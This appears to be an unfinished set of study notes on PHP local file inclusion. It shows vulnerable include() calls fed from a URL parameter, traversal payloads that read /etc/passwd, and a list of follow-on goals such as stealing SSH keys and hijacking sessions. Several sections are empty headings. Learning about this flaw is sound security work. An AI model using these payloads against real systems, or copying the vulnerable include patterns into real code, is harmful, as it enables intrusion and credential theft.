DISCOVERY

#basic configuration
include($_GET['language']);

 * output
    - {targetSite:port}/index.php?language=/etc/passwd

#appended/prepended string
include("./languages/" . $_GET['language']);

 * output
    - {targetSite:port}/index.php?language=./languages//etc/passwd
       - an error will occur (if allowed to be displayed)
       
#filename prefix
include("lang_" . $_GET['language']);

 * output
    - {targetSite:port}/index.php?language=lang_../../../etc/passwd
       - this produces an error (if allowed to be displayed)
       
#appended extension
include($_GET['language'] . ".php");

 * this can lead to attackers reading any php file (e.g. index.php) through LFI, 
    - source code, etc.

METHOD 1: BASIC

this method will work if the back-end programming doesn't append/prepended string. if web developers append or prepend a string to the back-end programming, the basic method won't work

METHOD 2: PATH/DIRECTORY TRAVERSAL

this method will work if web developers appended or prepended a string to the back-end programming. directory traversal could potentially allow attackers to do any of the following:

  • Read /etc/passwd and potentially find SSH Keys or know valid user names for a password spray attack

  • Find other services on the box such as Tomcat and read the tomcat-users.xml file

  • Discover valid PHP Session Cookies and perform session hijacking

  • Read current web application configuration and source code

METHOD 3: FILENAME PREFIX

METHOD 4: API

APPENDED EXTENSIONS

SECOND-ORDER ATTACKS

Last updated